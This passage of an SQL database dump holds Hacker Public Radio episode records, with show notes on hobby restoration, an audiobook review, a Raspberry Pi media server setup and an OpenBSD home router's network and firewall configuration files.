routers</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NSLU2\" title=\"Linksys NSLU2\">Linksys NSLU2</a> <code>\"</code><em>SLUG</em><code>\"</code></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/SheevaPlug\" title=\"SheevaPlug\">SheevaPlug</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CUPS\" title=\"Common Unix Printing System\">CUPS</a> - printing and scanning with old non-networked printers</li>\r\n<li><em>Legacy computing experiences</em>:\r\n<ul>\r\n<li>Diablo exchangeable disks</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Line_printer\" title=\"Line printer\">Line printers</a>. Fan-fold 132 column paper</li>\r\n<li>Punched card experiences. Card sequence numbers. <a href=\"https://en.wikipedia.org/wiki/IBM_card_sorter\" title=\"Card sorter\">Card sorters</a>.</li>\r\n<li>Checking disks for warped platters</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Magnetic_tape_data_storage\" title=\"Magnetic tape data storage\">Magnetic tapes</a>; recovering from damage.</li>\r\n</ul></li>\r\n<li>8-track tapes</li>\r\n<li><a href=\"https://mocft.co.uk/\" title=\"Museum of Communication, Burntisland, Fife\">Museum of Communication, Fife</a>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Strowger_switch\" title=\"Strowger switch\">Strowger switch</a> electromechanical stepping switch telephone exchange system</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NSLU2\">Linksys NSLU2</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/SheevaPlug\">SheevaPlug</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CUPS\">CUPS</a> - Common Unix Printing System</li>\r\n<li><a href=\"https://mocft.co.uk/\">Museum of Communication, Burntisland, Fife</a></li>\r\n</ul>\r\n<h3 id=\"sound-processing\">Sound processing</h3>\r\n<p><small> The recording was made in multichannel mode in anticipation of problems. The distorted channel was processed by using the <em>Clip Fix</em> effect in Audacity, which didn’t seem to change much except reduce the sound level. It was also necessary to find and remove sounds produced by the <em>push to talk</em> key presses. Removal meant replacing these sounds by silence so the two channels would not get out of step. After this the two channels were merged together and silences truncated. </small></p>\r\n<p><small> Lessons learned: don’t use a built-in microphone if you can help it! </small></p>\r\n</article>\r\n',225,0,1,'CC-BY-SA','COVID-19,lockdown',0,0,1),
(3081,'2020-05-25','Why do formal verification?',1120,'tuturto talks about testing and formal verification of software','<p>In episode <a href=\"https://hackerpublicradio.org/eps.php?id=3057\">3057</a> I talked about formal verification of software and forgot to mention why one would want to do it. This episode hopefully answers to that.</p>\r\n<p>While formal verification is powerful tool, it’s also rather cumbersome and slow to use. In some cases you’re better off with traditional ways of testing.</p>',364,0,0,'CC-BY-SA','testing, verification, mathematics',0,0,1),
(3079,'2020-05-21','Linux Inlaws S01E06 Porn and Trump',4779,'The lads discuss Audacity, KDEnlive, Blender, PwC, The Current War, Better Things, and Pamela Adlon','<p>This is Linux Inlaws, a series on free and open source software, black humour, the revolution and freedom in general (this includes ideas and software) and generally having fun.</p>\r\n<p>Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.</p>\r\n<p>Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute T-Rexes or other associated dinosaurs.</p>\r\n<p>Links:</p>\r\n<ul>\r\n<li>Audacity: <a href=\"https://www.audacityteam.org\" class=\"uri\">https://www.audacityteam.org</a></li>\r\n<li>Audacity OSX work-around: <a href=\"https://forum.audacityteam.org/viewtopic.php?t=105586\" class=\"uri\">https://forum.audacityteam.org/viewtopic.php?t=105586</a></li>\r\n<li>KDEnlive: <a href=\"https://kdenlive.org\" class=\"uri\">https://kdenlive.org</a></li>\r\n<li>Blender: <a href=\"https://www.blender.org\" class=\"uri\">https://www.blender.org</a></li>\r\n<li>PwC mishap: <a href=\"https://www.theregister.co.uk/2020/05/06/pwc_azure_squatting\" class=\"uri\">https://www.theregister.co.uk/2020/05/06/pwc_azure_squatting</a></li>\r\n<li>The Current War: <a href=\"https://en.wikipedia.org/wiki/The_Current_War\" class=\"uri\">https://en.wikipedia.org/wiki/The_Current_War</a></li>\r\n<li>Rick and Morty: <a href=\"https://www.adultswim.com/videos/rick-and-morty\" class=\"uri\">https://www.adultswim.com/videos/rick-and-morty</a></li>\r\n<li>Better Things: <a href=\"https://en.wikipedia.org/wiki/Better_Things_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Better_Things_(TV_series)</a></li>\r\n<li>Pamela Adlon: <a href=\"https://twitter.com/pamelaadlon\" class=\"uri\">https://twitter.com/pamelaadlon</a></li>\r\n</ul>',384,111,1,'CC-BY-SA','Audacity, KDEnlive, Blender, PwC mishap, The Current War, Better Things, Pamela Adlon',0,0,1),
(3087,'2020-06-02','Phonetic alphabet',114,'The NATO phonetic alphabet recited once.','<p>The NATO phonetic alphabet. Play this a few times until it\'s ingrained in your memory banks. It\'ll change the way you communicate.</p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/NATO_phonetic_alphabet\">Wikipedia</a>\r\n</p>',78,43,0,'CC-BY-SA','nato, alphabet, communication',0,0,1),
(3088,'2020-06-03','Matchbox Restoration Part 2',307,'Second episode discussing restoring Matchbox diecast models Tony talks tools and materials needed ','<h3 id=\"matchbox-hpr-episode-2-equipment\">Matchbox HPR Episode 2 – Equipment</h3>\r\n<p>Hello all those in HPR land. This is Tony Hughes coming to you from Blackpool in the UK. I hope you are all keeping well at the current time of restrictions due to the Corona Virus.</p>\r\n<p>In this the second of my recordings talking about restoring of Matchbox and other Die-cast models, I am going to talk of the equipment you will find essential, and some other things that while at the start you could live without, as you get into the hobby you may find extremely useful.</p>\r\n<p>So the first thing you will need is a drill for drilling the posts out on the model, both to aid in dismantling them and if you plan to reassemble with the aid of small screws, to drill the hole in the post for tapping to accommodating the screws. This can be a hand held wired or cordless drill or if you have a workshop with a drill press, all the better as this can be used in several ways during the reassembly of the models. That is on my wish list as I don’t have one at the moment.</p>\r\n<p>Secondly you will need a set of modelling files for removing the burr on axles, to remove these and the plastic wheels of the base of the model to allow for repainting if required.</p>\r\n<p>Wire brushes for cleaning the remains of any paint that didn’t get removed by the paint stripper.</p>\r\n<p>Hemostat Clamp Tweezers or crocodile clips on a rod, for use to hold the model during spray painting</p>\r\n<p>Additionally, although you can start doing restorations without these, the following will become very useful to help save time and achieve better finishes of the completed restoration.</p>\r\n<p>Rotary Tool, the most well known is the Dremel but there are many other manufacturers of similar tools at more economic cost. However beware you do get what you pay for and you may find buying the cheapest you can find a false economy. My cheap Lidl rotary tool which I have had for a few years but barely used, failed after 5 months of use a few weeks ago. The chuck ring thread striped and it will no longer hold bits in the chuck. The rotary tool makes the removal of the axles a very quick job, and cleaning paint stripped castings with a wire rotary brush is a breeze.</p>\r\n<p>Another thing you may find useful is a small spray booth with an extractor fan and filter for removing over-spray from the area you are painting in if doing this indoors, particularly if your workshop is in the house. Although one YouTube modeller I follow sprays his models on the cooker with the cooker extractor fan on to achieve a similar result when painting indoors.</p>\r\n<p>Finally you may wish to put a compressor and spray gun on your wish list if you get hooked as this gives you a far better range of colours you can paint in, as you can mix your own shades. Some in this community are sticklers for trying to get an exact match to the original colour of the model, others like me at the moment are happy to use shop bought spray paint cans.</p>\r\n<p>Small table vice for holding the model. A set of helping hands for the same during painting, particularly when painting fine details.</p>\r\n<p>So that’s the tools, now the consumables:</p>\r\n<ul>\r\n<li>Gloves – Rubber washing up gloves to protect from some of the chemicals used to strip paint.</li>\r\n<li>Latex gloves for using when spray painting as you have more control while wearing these rather than the looser fitting rubber washing up gloves.</li>\r\n<li>Work gloves to use when drilling or using other tools.</li>\r\n<li>Paint face mask to prevent inhaling fumes.</li>\r\n<li>Paint stripper, I use B&amp;Q’s DIAL own brand paint stripper. I also use caustic soda for the same thing, occasionally one will work when the other failed to remove the paint, it depends on the original paint applied to the model.</li>\r\n<li>Model filler for repairing dents in the casting</li>\r\n<li>Wire wool and several grades of wet and dry sanding paper to smooth models after filler has been used.</li>\r\n<li>Super glue, useful for repairs where a quick setting medium is needed.</li>\r\n<li>Cans of spray paint to repaint the model, both primer and the final colour. You may also want a can or two of a clear coat to give that extra protection after painting or giving a gloss finish if the paint was a matt or satin finish.</li>\r\n<li>Not essential at the start but I also use a UV resin glue that cures very quickly after exposure to a UV light torch, this can be added and cured in layers if needed and remains flexible so can be useful for repairs on cables as well as my modelling.</li>\r\n<li>Finally you need your first model to start work on, these can be found in charity shops, online auction sites or maybe in your loft or garage if you have any of your childhood models kicking around needing to be re-loved.</li>\r\n</ul>\r\n<p>Later in the series I’ll talk about other things you may add to the consumables list as you get more into the hobby. So that’s it for this episode. In the next episode I’ll talk you through me dismantling a model for restoration.</p>\r\n<p>This is Tony Hughes for HPR signing off for this episode. Keep safe and I’ll be back soon.</p>\r\n',338,114,0,'CC-BY-SA','Matchbox Cars, Diecast Models, Restoration, Tools and materials.',0,0,1),
(3089,'2020-06-04','For my Entertainment',425,'How I have my file server and media center put together','<h3>Reasoning.</h3>\r\n<p>I have a file server with Slackware running on a Pi4. I wanted to make the<br />movies and TV Shows easily accessible on the TV without using a DVD or Blu ray<br />player.</p>\r\n<p>It would give my wife and I a chance to sit and watch a show without much<br />fuss. The latest show we are on is Sue Thomas F.B. Eye.<br />The main character, Sue has been deaf from about the age of 4 years.<br />She is adept at reading lips and learned to speak despite being deaf.</p>\r\n<p><a title=\"Sue Thomas F.B. Eye\" href=\"https://en.wikipedia.org/wiki/Sue_Thomas:_F.B.Eye\">https://en.wikipedia.org/wiki/Sue_Thomas:_F.B.Eye</a></p>\r\n<h3>Hardware.</h3>\r\n<p>The Pi4 is enclosed in a stripped out power supply that died on me. The fan<br />still worked, so I wired it to the Pi on the 5v line. It runs at half the<br />speed it was designed for, but that makes it run almost silent. With the<br />heatsinks added, stays about 35C when idle and 50C when encoding video.</p>\r\n<h3>Pi Networking.</h3>\r\n<p>I have 2 Pi\'s connected via ethernet. One is on 192.168.2.5 with a gateway of<br />192.168.2.6, with the other on 192.168.2.6 with a gateway of 192.168.2.5.<br />Essentially just a crossover network. The reason for this is running Kodi on Pi4<br />has choppy video, but is better at running video encoding. So I linked it to a<br />Pi3 to run Kodi via a samba share from the Pi4.</p>\r\n<p>Used OSMC for the kodi interface.<br />It was the distribution that was stable on my Pi and booted right to the Kodi<br />interface.</p>\r\n<p><a title=\"OSMC - Open Source Media Center\" href=\"https://osmc.tv/download/\">https://osmc.tv/download/</a></p>\r\n<p><code>lsblk</code> - List block devices<br /><code>dd status=progress if=osmc.img of=/devsdX</code></p>\r\n<h3>Installing Slackware.</h3>\r\n<p>Get sources<br /><a title=\"Get Slackware ARM\" href=\"https://sarpi.fatdog.eu/index.php?p=getslack\">https://sarpi.fatdog.eu/index.php?p=getslack</a></p>\r\n<pre><code>root@mynixbox:/tmp# mkdir /slackarm\r\nroot@mynixbox:/tmp# mount /dev/sdc1 /slackarm\r\nroot@mynixbox:/tmp# cd /slackarm\r\nroot@mynixbox:/slackarm#</code></pre>\r\n<p>To download Slackware ARM 14.2, type the following at the command prompt:</p>\r\n<p><code>root@mynixbox:/slackarm# rsync -Prv --delete<br />ftp.slackware.uk::slackwarearm/slackwarearm-14.2 .</code></p>\r\n<p>[FatDog says ...] DON\'T forget the period \".\" at the end of the rsync command<br />or it won\'t work!</p>\r\n<p>I made a directory called extras, under the /slackarm directory</p>\r\n<p><a title=\"Sarpi sources for Slackware current\" href=\"https://sarpi.fatdog.eu/index.php?p=rpi4getcurrent\">https://sarpi.fatdog.eu/index.php?p=rpi4getcurrent</a></p>\r\n<p><code>upgradepkg --install-new</code> (for each of these packages, after finishing the main Slackware installation.)</p>\r\n<h5>System Packages</h5>\r\n<p><code>kernel_sarpi4-5.4.40-armv7l-1_slackcurrent_13May20_sp1.txz <br />\r\nkernel-modules-sarpi4-5.4.40-armv7l-1_slackcurrent_13May20_sp1.txz <br />\r\nsarpi4-boot-firmware-armv7l-1_slackcurrent_13May20_sp1.txz\r\nsarpi4-hacks-4.0-armv7l-1_slackcurrent_13May20_sp1.txz</code></p>\r\n<h3>Partitioning example</h3>\r\n<p>After mounting the sd card listed by the lsblk command, run <br />cfdisk /dev/mmcblk0 to partition the card.</p>\r\n<pre><code>mmcblk0 179:0 0 59.5G 0 disk <br />|-mmcblk0p2 179:2 0 4G 0 part [SWAP]<br />|-mmcblk0p3 179:3 0 55.3G 0 part /<br />`-mmcblk0p1 179:1 0 150M 0 part <br />root@slack-server:mark # df -h / <br />Filesystem Size Used Avail Use% Mounted on /dev/root 55G 25G 28G 48% /\r\n\r\nmkfs.vfat /dev/mmcblk0p1<br />mkswap /dev/mmcblk0p2</code></pre>\r\n<h3>Samba snippet</h3>\r\n<pre><code>[MediaServer.Movies]<br />path = /mnt/media2/Movies/<br />writable = no<br />browsable = yes<br />read only = no<br />guest ok = no<br />public = no</code></pre>\r\n<h3>fstab snippet (Kodi)</h3>\r\n<pre><code>//192.168.2.5/MediaServer.Movies /mnt/Movies cifs noauto,users,username=mark,password=*********** 0 0</code></pre>\r\n<h3>Script to connect to the wifi network</h3>\r\n<pre><code>mark@osmc:~$ cat /usr/bin/net.sh<br><br />#!/bin/bash<br />connmanctl enable wifi<br />connmanctl connect wifi_HASH_managed_psk</code></pre>\r\n<h3>Systemd service file</h3>\r\n<pre><code>mark@osmc:~$ cat /lib/systemd/system/net.service<br /><br>[Unit]<br />Description=Wifi network auto connect on boot<br />After=http-time.service\r\n<br>[Service]<br />Type=simple<br />Restart=always<br />ExecStart=/bin/bash /usr/bin/net.sh <br />\r\n[Install]<br />WantedBy=multi-user.target</code></pre>\r\n\r\n<h3>Edit:</h3>\r\n<p>Since I sent the show notes, I had problems using the GUI way to set up<br /> a static IP address on the OSMC section. Here is a more concise way to go about\r\nit.</p>\r\n<p><a href=\"https://discourse.osmc.tv/t/solved-setting-ip-static/1439/14\">https://discourse.osmc.tv/t/solved-setting-ip-static/1439/14</a></p>\r\n<p>It seems OSMC uses connman, so in order to create an ethernet static IP:</p>\r\n<ol>\r\n<li>\r\n<p>Create a config file with your editor:</p>\r\n<pre><code>sudo vim /var/lib/connman/osmc.config\r\n</code></pre>\r\n</li>\r\n<li>\r\n<p>Add the following contents:</p>\r\n<pre><code>[global]\r\nName = OSMC\r\nDescription = OSMC static network configuration\r\n[service_osmc]\r\nType = ethernet\r\nIPv4 = 192.168.0.21/255.255.255.0/192.168.0.1\r\nNameservers = 8.8.8.8,8.8.4.4\r\n</code></pre>\r\n<p>Make sure to change the <code>IPv4</code> line to match your own network/netmask/gateway and <code>Nameservers</code> to use the ones you want.</p>\r\n</li>\r\n<li>\r\n<p>Reboot your RPi or restart the connman service:</p>\r\n<pre><code>sudo systemctl restart connman\r\n</code></pre>\r\n</li>\r\n</ol>\r\n<p>If you opt to restart connman, you&rsquo;ll loose the connection.</p>\r\n',318,0,0,'CC-BY-SA','Raspberry Pi, Kodi, OSMC, Networking, Slackware, Sarpi Project',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3104,'2020-06-25','HPR AudioBook Club 19 - Tincture: An Apocalyptic Proposition',7607,'The HPR Audiobook Club reviews the audiobook Tincture by Matthew D. Jordan','<h2 id=\"in-this-episode-the-hpr_audiobookclub-discusses-tincture-an-apocalyptic-proposition-written-by-matthew-d-jordan\">In this episode, the HPR_AudioBookClub discusses <a href=\"https://scribl.com/books/PFC12/tincture-an-apocalyptic-proposition\">Tincture: An Apocalyptic Proposition</a> written by Matthew D. Jordan</h2>\r\n<hr />\r\n<h2 id=\"non-spoiler-thoughts\">Non-Spoiler Thoughts</h2>\r\n<hr />\r\n<ul>\r\n<li>If you don\'t like knowing what is going on until halfway through the book, then this book is for you.</li>\r\n<li>The book uses a very interesting type of speech that was all kinda dig.</li>\r\n<li>Some of us liked this book so much that we mainlined the <a href=\"https://scribl.com/books/PCA29/tincture-and-the-devil-pulls-six-guns\">sequel</a> immediately.</li>\r\n<li>This feels a lot like \"The Dark Tower\" series by Stephen King, and even references it.</li>\r\n<li>We talk about the use of Hebrew in the character names in the story.</li>\r\n<li>The music for the book is excellent, and matches the story very well.</li>\r\n<li>How do you make alcohol in the apocalypse?</li>\r\n<li>This also feels a lot like the Fallout games.</li>\r\n<li>The return of PLOT BULLETS!!!!</li>\r\n</ul>\r\n<h2 id=\"beverage-reviews\">Beverage Reviews</h2>\r\n<hr />\r\n<p>As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n<li><strong>Thaj:</strong> Made my own tincture of homemade iced tea and lemonade mixed. Tastes good. Thaj still can\'t grow lemons though :(</li>\r\n<li><strong>x1101:</strong> <a href=\"https://cdn.bourbonbanter.com/wp-content/uploads/2013/07/wildturkeyrarebreedbourbon.jpg?090fad\">Wild Turkey Rare Breed</a></li>\r\n<li><strong>pokey:</strong> I have <a href=\"https://www.beeradvocate.com/beer/profile/10272/39258/\">beer</a> this month it\'s pretty good. I Like it, but I don\'t love it. I also bought a few of the credit card sized tools that we talked about on our last episode. In short they are interesting, but mostly not very useful.</li>\r\n<li><strong>FiftyOneFifty:</strong> <a href=\"https://www.shiner.com/beer/prickly-pear\">Shiner Prickly Pear</a>. This unusual beer came as a complete surprise to me because I was frankly expecting a sweet peary. Instead I was confronted by a very dry, only slightly hoppy (20 IBU) beer without much flavor but a lasting aftertaste that is slightly sweet. Those Shiner boys aren\'t messing around, they make beer with cactus. I really did not enjoy the first beer but by the end of the six it is growing on me. Though it would be refreshing on a hot day, I doubt I will be buying it again.</li>\r\n</ul>\r\n<h2 id=\"things-we-talked-about\">Things We talked about</h2>\r\n<hr />\r\n<ul>\r\n<li>We talk about the connections to \"The Dark Tower\"</li>\r\n<li><a href=\"https://i44.tinypic.com/2ptqn4o.jpg\">\"Blue\" Irons (Marcs/Afulan/Rolands guns)</a></li>\r\n<li><a href=\"https://www.gunblast.com/images/SHOT2003_Day1/DSC05601.jpg\">Another big gun</a></li>\r\n<li>Is this time travel, dimension travel, or something entirely different?</li>\r\n<li>The ties to Judeo-Christian mythology is interesting to Thaj.</li>\r\n<li>Is getting the answers about the setting what you really want?</li>\r\n<li>The book doesn\'t exactly get guns right...</li>\r\n</ul>\r\n<h2 id=\"our-next-audiobook\">Our Next Audiobook</h2>\r\n<hr />\r\n<p><a href=\"https://scribl.com/books/P2A75/quarter-share\">Quarter Share</a> by Nathan Lowell</p>\r\n<h2 id=\"the-next-audiobook-club-recording\">The Next Audiobook Club Recording</h2>\r\n<hr />\r\n<p>Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.</p>\r\n<h2 id=\"further-recommendations\">Further Recommendations</h2>\r\n<hr />\r\n<ul>\r\n<li><a href=\"https://www.homewetbar.com/images/prod/flask-set-skull84585.jpg\">Skull Flash</a></li>\r\n<li>That IT life</li>\r\n<li>Automating Android</li>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=com.keramidas.TitaniumBackup&amp;hl=en\">Titanium Backup</a></li>\r\n<li>What happened to Lyle\'s cookbook?</li>\r\n<li>CyanogenMod v. CyanogenOS</li>\r\n<li>Thaj predicts the name change to LineageOS</li>\r\n<li>OpenStreetMap</li>\r\n<li>Automated Cars</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hill%2BKnowlton_Strategies\">H&amp;K</a></li>\r\n</ul>\r\n<h2 id=\"feedback\">Feedback</h2>\r\n<hr />\r\n<p>Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time we record a new episode. Please leave a few words in the episode\'s comment section.</p>\r\n<p>As always; remember to visit the HPR contribution page HPR could really use your <a href=\"https://hackerpublicradio.org/help_out.php\">help</a> right now.</p>\r\n<p>Sincerely, The HPR Audiobook Club</p>\r\n<p><em>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</em></p>\r\n<h2 id=\"our-audio\">Our Audio</h2>\r\n<hr />\r\n<p>This episode was processed using <a href=\"https://audacity.sourceforge.net/\">Audacity</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>We use the \"Truncate Silence\" effect with it\'s default settings to minimize the silence between people speaking. When used with it\'s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\r\n<pre><code>Threshold: -30db\r\nNoise Floor: -50db\r\nRatio: 3:1\r\nAttack Time: 0.2sec\r\nDecay Time: 1.0 sec\r\n</code></pre>\r\n<p>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</p>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the <code>.aup</code> file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.</p>\r\n',157,53,1,'CC-BY-SA','HPR Audiobook Club, Audiobooks, SciFi, Western',0,0,1),
(3091,'2020-06-08','fuguserv',2628,'Fuguita OpenBSD server - building a new wifi-router / server','<ul>\r\n<li><p>Where you can go to get your copy of the fuguita OS.<br />\r\n<a href=\"https://fuguita.org\" class=\"uri\">https://fuguita.org</a></p></li>\r\n<li><p>Additional book references.<br />\r\n<a href=\"https://nostarch.com/pf3\" class=\"uri\">https://nostarch.com/pf3</a><br />\r\n<a href=\"https://nostarch.com/obenbsd2e\" class=\"uri\">https://nostarch.com/obenbsd2e</a></p></li>\r\n</ul>\r\n<p>The files I cover in the <code>/etc/</code> directory first..</p>\r\n<p><code>dhclient.conf</code></p>\r\n<pre><code>interface &quot;em0&quot; {\r\n#      ignore domain-name-servers;\r\n      reject 192.168.1.1;\r\n}\r\n#supersede domain-name-servers 127.0.0.1;</code></pre>\r\n<p><code>dhcpd.conf</code></p>\r\n<pre><code>option domain-name-servers 192.168.1.1;\r\nsubnet 192.168.1.0 netmask 255.255.255.0 {\r\n        option routers 192.168.1.1;\r\n        range 192.168.1.40 192.168.1.190;\r\n        host myserver {\r\n                fixed-address 192.168.1.2;\r\n                hardware ethernet 00:00:00:00:00:00;\r\n                }\r\n        host darkstar {\r\n                fixed-address 192.168.1.210;\r\n                hardware ethernet a0:d3:7a:42:aa:1d;\r\n                }\r\n        host zenbig   {\r\n                fixed-address  192.168.1.215;\r\n                hardware ethernet 14:d6:4d:aa:6c:c6;\r\n                }\r\n        host zenstar  {\r\n                fixed-address 192.168.1.205;\r\n                hardware ethernet 2c:6e:85:bf:72:91;\r\n                }\r\n        host mini10   {\r\n                fixed-address 192.168.1.200;\r\n                hardware ethernet 88:25:2C:B2:94:8C;\r\n                }\r\n        host nexus9   {\r\n                fixed-address 192.168.1.195;\r\n                hardware ethernet 44:91:60:9e:d2:73;\r\n                }\r\n        host diningpi {\r\n                fixed-address 192.168.1.197;\r\n                hardware ethernet b8:27:eb:09:bb:1e;\r\n                }\r\n        host think330 {\r\n                fixed-address 192.168.1.193;\r\n                hardware ethernet 50:5B:C2:E5:CA:F5;\r\n                }\r\n        host largedongle1 {\r\n                fixed-address 192.168.1.211;\r\n                hardware ethernet 00:C0:CA:82:EC:30;\r\n                }\r\n        host largedongle2 {\r\n                fixed-address 192.168.1.212;\r\n                hardware ethernet 00:C0:CA:82:E6:29;\r\n                }</code></pre>\r\n<p><code>dhcpd.interfaces</code></p>\r\n<pre><code>athn0</code></pre>\r\n<p><code>hostname.athn0</code></p>\r\n<pre><code>inet            192.168.1.5    255.255.255.0    192.168.1.255\r\nmedia           autoselect\r\nmediaopt        hostap\r\nchan            4\r\nwpa\r\nnwid            fuguserv\r\nwpakey          1234567890ABCD#\r\nup</code></pre>\r\n<p><code>hostname.bridge0</code></p>\r\n<pre><code>add vether0\r\nadd em0\r\nadd athn0\r\nblocknonip vether0\r\nblocknonip em0\r\nblocknonip athn0\r\nup</code></pre>\r\n<p><code>hostname.em0</code></p>\r\n<pre><code>dhcp\r\ninet6 autoconf</code></pre>\r\n<p><code>hostname.vether0</code></p>\r\n<pre><code>inet 192.168.1.1 255.255.255.0 192.168.1.255</code></pre>\r\n<p><code>pf.conf</code></p>\r\n<pre><code>nt_if=&quot;{ vether0 em0 athn0 }&quot;\r\nbroken=&quot;224.0.0.22 127.0.0.0/8 192.168.0.0/16 172.16.0.0/12\r\n        10.0.0.0/8 169.254.0.0/16 192.0.2.0/24\r\n        198.51.100.0/24, 203.0.113.0/24,\r\n        169.254.0.0/16 0.0.0.0/8 240.0.0.0/4 255.255.255.255/32&quot;\r\ntable &lt;bruteforce&gt; persist\r\nset block-policy drop\r\nset loginterface egress\r\nset skip on lo0\r\nmatch in all scrub (no-df random-id max-mss 1440)\r\nmatch out on egress inet from !(egress:network) to any nat-to (egress:0)\r\nantispoof quick for (egress)\r\nblock quick from &lt;bruteforce&gt;\r\nblock in quick on egress from { $broken no-route urpf-failed } to any\r\nblock in quick inet6 all\r\nblock return out quick inet6 all\r\n#block return out quick log on egress proto { tcp udp } from any to any port 53\r\nblock return out quick log on egress from any to { no-route $broken }\r\nblock in all\r\npass out quick inet keep state\r\npass in on $int_if inet\r\npass in on egress inet proto tcp from any to (egress) port 22 keep state (max-src-conn 40, max-src-conn-rate 40/172800 ,overload &lt;bruteforce&gt; flush global)\r\npass in quick on $int_if proto udp from any to ! 192.168.1.1 port 123 rdr-to 192.168.1.1</code></pre>\r\n<p><code>sysctl.conf</code></p>\r\n<pre><code>net.inet.ip.forwarding=1\r\nnet.inet.ip.redirect=0\r\nkern.bufcachepercent=50\r\nnet.inet.ip.ifq.maxlen=1024\r\nnet.inet.tcp.mssdflt=1440\r\nmachdep.allowaperture=2 # See xf86(4)\r\nmachdep.lidaction=0\r\nnet.inet6.ip6.forwarding=0\r\nnet.inet6.ip6.mforwarding=0\r\nhw.smt=1</code></pre>\r\n<p><code>rc.conf.local</code></p>\r\n<pre><code>check_quotas=NO\r\ndhcpd_flags=&quot;vether0&quot;\r\nntpd_flags=&quot;&quot;\r\n#pkg_scripts=dnscrypt_proxy -config /etc/dnscrypt-proxy.toml\r\nsndiod_flags=NO\r\nunbound_flags=&quot;&quot;</code></pre>\r\n<p><code>/var/unbound/etc/unbound.conf</code></p>\r\n<pre><code># $OpenBSD: unbound.conf,v 1.14 2018/12/16 20:41:30 tim Exp $\r\nserver:\r\n    username: _unbound\r\n    directory: /var/unbound\r\n    chroot: /var/unbound\r\n\r\n    interface: 192.168.1.1\r\n    interface: 127.0.0.1\r\n    do-ip6: no\r\n\r\n    access-control: 127.0.0.0/8 allow\r\n    access-control: 192.168.1.0/24 allow\r\n    hide-identity: yes\r\n    hide-version: yes\r\n    do-not-query-localhost: no\r\n\r\n    tcp-upstream: yes\r\n\r\n    private-address: 10.0.0.0/8\r\n    private-address: 172.16.0.0/12\r\n    private-address: 192.168.0.0/16\r\n\r\nremote-control:\r\n        control-enable: yes\r\n        control-use-cert: no\r\n        control-interface: /var/run/unbound.sock\r\n\r\nforward-zone:\r\n    name: &quot;.&quot;\r\n    forward-addr: 127.0.0.1</code></pre>\r\n',377,0,0,'CC-BY-SA','FuguIta, OpenBSD, Wifi-Routers, Servers, Portable, Memory_resident',0,0,1),
